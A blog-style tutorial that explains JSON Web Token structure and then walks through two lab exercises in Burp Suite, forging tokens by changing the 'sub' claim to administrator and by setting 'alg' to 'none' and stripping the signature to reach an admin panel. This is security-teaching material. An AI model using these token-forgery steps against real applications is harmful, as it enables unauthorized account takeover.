Get Your Hands Dirty With JWT

JSON Web Token (JWT) is an open standard that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs are often used to authenticate users. They can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA.

Purpose
JWTs are used for a variety of purposes, including:
1. Allowing the server to authenticate the user and maintain a user session.
2. Allowing the client to authenticate the server.
3. Allowing the server to transmit information about the user to the client.
JWTs are used in many different applications and are often associated with OAuth2, which is an open standard for authorization.

The three parts of the JWT are separated by dots (.). The first part is the header, the second part is the payload, and the third part is the signature.

The header typically consists of two parts: the type of the token, which is JWT, and the signing algorithm being used, such as HMAC SHA256 or RSA.

The second part of the token is the payload, which contains the claims(user details). Claims are statements about an entity (typically, the user) and additional data. There are three types of claims: registered, public, and private claims.

The third part of the token is the signature, which is used to verify that the sender of the JWT is who it says it is and to ensure that the message wasn’t changed along the way.

As we discussed the formation of JWT, we will head toward its exploitation.

There are several ways that vulnerabilities can arise in JSON Web Tokens (JWTs):

1. Weak or compromised secret keys
2. Insufficient JWT expiration time
3. Using unencrypted JWTs
4. Not properly validating JWT claims
5. Allowing JWTs to be used in cross-site request forgery (CSRF) attacks
6. Using JWTs with custom payloads, and many more

But here, we will see about how to exploit fallacious signature verification of JWT.

Pre-requirements: Install Burp Suite and use its default burp browser for intercepting the request or alternatively you can also configure Burp proxy to work with an external browser.

Case 1: Unverified signature

Firstly, I have intercepted the request of my-account having a JWT token. You can see the decoded JWT in the Inspector panel of Burp Suite and we can clearly observe that the current token we are seeing is of user wiener

So, what I have done is change the ‘sub’ parameter of the JWT payload section from wiener → administrator.

[NOTE: Payload section of JWT will change by changing any of the parameters]

Change the path from /my-account → /admin and send the request and ta-da we get the access to the administrator’s account.

Case 2: Flawed signature verification

Again, I have intercepted the request of my-account and noticed the ‘sub’ parameter and changed it from wiener → administrator.

Now jump to the header part of the token and observe the ‘alg’ parameter, it must be having some value. Change that parameter value to “none”. Send the request.

Nothing happened, we are still out. Remove the signature section of the token and replace it with trailing dots, send the request again and voila we got the access.

This is not it. Coming soon with another blog of the exploitation techniques using JWT header parameter injection. Till then eat, exploit, sleep and repeat.